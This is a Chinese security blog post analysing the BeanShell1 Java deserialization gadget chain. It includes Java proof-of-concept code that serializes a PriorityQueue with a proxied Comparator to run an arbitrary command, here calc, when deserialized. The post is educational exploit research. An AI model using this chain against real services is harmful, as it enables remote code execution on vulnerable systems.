BeanShell1 反序列化链分析
- 代码执行 Demo
- 回调函数调用
- 链路分析
- 危险方法
- 链式调用
- 链路开端 -> readObject
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
仍然是 RCE 链, pom.xml
配置引入:
<dependency>
<groupId>org.beanshell</groupId>
<artifactId>bsh</artifactId>
<version>2.0b5</version>
</dependency>
链子泄露 ID 问题: https://mp.weixin.qq.com/s/CQ-jlcb3w72OP5UyGynMHg, 比较有意思, 先记录下来.
声明:文中涉及到的技术和工具,仅供学习使用,禁止从事任何非法活动,如因此造成的直接或间接损失,均由使用者自行承担责任。
代码执行 Demo
BeanShell执行 标准Java语句和表达式,另外包括一些脚本命令和语法。它将脚本化对象看作简单闭包方法(simple method closure)来支持,就如同在Perl和JavaScript中的一样。
以下是正常使用 BeanShell 进行代码执行的案例, 如下:
package com.heihu577;
import bsh.Interpreter;
publicclassDemo01{
publicstaticvoidmain(String[] args)throws Exception {
Interpreter interpreter = new Interpreter();
interpreter.eval("String data = "Hello~"; System.out.println(data);");
// interpreter.eval("print("Hello")"); 除了以上格式, 该格式也可以进行解析.
}
}
运行命令行输出Hello~
. 而对于BeanShell
的未授权访问漏洞在公网有公开的案例: https://blog.csdn.net/Aaron_Miller/article/details/117532916, 实际上这是因为一个 BshServlet 的配置导致的, 具体可以参考: http://www.beanshell.org/manual/bshmanual.html#Deploying_BshServlet
当然关于 BeanShell 的更多介绍以及 API, 都在官方手册中: http://www.beanshell.org/manual/bshmanual.html
以及查询到一篇关于 BeanShell 在开发人员手中的用法文档: https://www.cnblogs.com/crstyl/p/14485017.html
回调函数调用
当然除了上述环境以外, 依旧可以通过该组件进行创建回调函数 & 调用回调函数
, 具体案例如下:
Interpreter interpreter = new Interpreter();
interpreter.eval("test(String a){Runtime.getRuntime().exec(a);}");
interpreter.eval("test("calc")");
而除了直接调用形式以外, 也可以使用另一种调用形式:
在 ysoserial 中也可以看到对 XThis 以及 invokeMethod 方法的使用:
具体什么含义后续再进行分析, 接下来看一下使用XThis
调用回调函数案例:
Interpreter interpreter = new Interpreter();
interpreter.eval("test(String a){Runtime.getRuntime().exec(a);}");
XThis xt = new XThis(interpreter.getNameSpace(), interpreter);
xt.invokeMethod("test", new Object[]{"calc"});
运行即可弹出计算器.
链路分析
由于涉及到底层的匿名方法解析, 这并不是我们关注的点, 所以在本文中进行抛弃处理, 只关注链路产生的核心机制. 想要查看核心调用过程 (当然也没有方法解析机制)可以转移到: https://mp.weixin.qq.com/s/jhEafGPuPzrwzaMGSLkVDA
危险方法
当然以下分析链路中的所有类都实现了 Serializable 接口, 这毋庸置疑.
正向分析调用机制
实际上这条链路需要通过上述XThis类
进行分析, 笔者在这里先分析正向调用匿名函数的处理过程, 后续再分析链路是如何产生的, 首先进行Debugger
查看核心调用机制是什么:
实际上问题出在XThis
的子类This
的invokeMethod
方法中, 该方法中会拿到XThis::namespace
属性, 调用getMethod
进行拿到回调函数封装为BshMethod类
, 随后调用其invoke
方法即可成功执行匿名函数.
当然, 这是这条链路的核心机制为: This对象.invokeMethod(可控,可控)
其他的一些代码块都是在解析匿名方法后分析语法等操作, 代码比较混乱且复杂就不分析了 (当然也脱离了链路本身的原理). 若想分析调用栈等其他代码块的调用原理可将断点下在Reflect::invokeMethod
方法, 具体行数在134行, 如下:
危险方法模拟调用
刚才我们聊过了, This对象.invokeMethod(可控,可控)
是这条链路的核心, 那么在XThis
类中, 存在如下调用:
从中我们可以发现的是, XThis::invocationHandler成员属性
是一个动态代理对象, 当调用到该动态代理对象的任意方法时, 最终会调用到This::invokeMethod(可控,可控)
进行处理.
那么我们只需通过反射将XThis::invocationHandler成员属性
提取, 而由于它是一个InvocationHandler, 则需要手动使用Proxy.newProxyInstance
进行生成基于XThis::invocationHandler
的动态代理对象即可手动调用其方法即可模拟RCE, 那么我们首先定义一个存在test(String a)
的类描述符:
package com.heihu577;
publicinterfaceTesterInterface{
voidtest(String a);
}
随后通过动态代理调用TesterInterface::test
从而调用到我们匿名函数中所定义的test
方法:
publicclassDemo01{
publicstaticvoidmain(String[] args)throws Exception {
Interpreter interpreter = new Interpreter();
interpreter.eval("test(String a){Runtime.getRuntime().exec(a);}");
XThis xt = new XThis(interpreter.getNameSpace(), interpreter);
// xt.invokeMethod("test", new Object[]{"calc"});
InvocationHandler invocationHandler =
(InvocationHandler) getField(xt.getClass(), "invocationHandler").get(xt);
TesterInterface ti = (TesterInterface) Proxy.newProxyInstance(Demo01.class.getClassLoader(),
newClass[]{TesterInterface.class}, invocationHandler); // 接口中存在test(String)方法才可以
ti.test("calc");
}
publicstatic Field getField(Class clazz, String fieldName)throws Exception {
Field declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField;
}
}
运行即可弹出计算器.
链式调用
这里的链式调用比较随性, 刚刚我们使用的TesterInterface
进行举例, 那么现在我们只需要挑选一个受害机JDK环境存在的公共类即可, ysoserial 使用的是Comparator
接口当作链式调用, 它的类定义如下:
publicinterfaceComparator<T> {
intcompare(T o1, T o2);
// ...
}
那么触发链路的POC则变为了如下:
publicclassDemo01{
publicstaticvoidmain(String[] args)throws Exception {
Interpreter interpreter = new Interpreter();
interpreter.eval("compare(Object a,Object b){Runtime.getRuntime().exec(a);return 0;}");
// Comparator接口中存在compare, 那么这里必须实现compare方法
XThis xt = new XThis(interpreter.getNameSpace(), interpreter);
InvocationHandler invocationHandler =
(InvocationHandler) getField(xt.getClass(), "invocationHandler").get(xt);
Comparator ti = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(),
newClass[]{Comparator.class}, invocationHandler);
// 使用 Comparator 接口
ti.compare("calc", null);
}
publicstatic Field getField(Class clazz, String fieldName)throws Exception {
Field declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField;
}
}
运行即可弹出计算器.
链路开端 -> readObject
接下来就比较容易了, 只需要找到谁调用了compare
方法, 并且参数可控即可, 而之前做CC链时, 刚好存在一个PriorityQueue::readObject
方法, 它在其中调用了compare
, 那么构造 POC 如下:
package com.heihu577;
import bsh.Interpreter;
import bsh.XThis;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Comparator;
import java.util.PriorityQueue;
publicclassDemo01{
publicstaticvoidmain(String[] args)throws Exception {
String cmd = "calc";
Interpreter interpreter = new Interpreter();
interpreter.eval("compare(Object a,Object b){new java.lang.ProcessBuilder(new String[]{"" + cmd + ""}).start();return 0;}");
// Comparator接口中存在compare, 那么这里必须实现compare方法
XThis xt = new XThis(interpreter.getNameSpace(), interpreter);
InvocationHandler invocationHandler =
(InvocationHandler) getField(xt.getClass(), "invocationHandler").get(xt);
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(),
newClass[]{Comparator.class}, invocationHandler); // 使用 Comparator 接口
PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
Field size = getField(priorityQueue.getClass(), "size");
priorityQueue.add("heihu577");
size.set(priorityQueue, 0); // 通过修改 size, 防止 add 方法调用到链路
priorityQueue.add(cmd); // 将可控的 templates 传入, 调用则弹计算器
size.set(priorityQueue, 2); // 将 size 改回正常的, 防止反序列化时进入不了链路
serialize(priorityQueue);
unserialize();
}
publicstatic Field getField(Class clazz, String fieldName)throws Exception {
Field declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField;
}
publicstaticvoidserialize(Object o)throws IOException {
new ObjectOutputStream(new FileOutputStream("./data.ser")).writeObject(o);
}
publicstaticvoidunserialize()throws Exception {
new ObjectInputStream(new FileInputStream("./data.ser")).readObject();
}
}
这里有个小坑点, 不能使用Runtime.getRuntime().exec
进行调用, 可能是解析问题, 但脱离了链子原本的原理, 暂时先放下了.
原文始发于微信公众号(Heihu Share):JAVA 安全 | BeanShell1 反序列化链分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论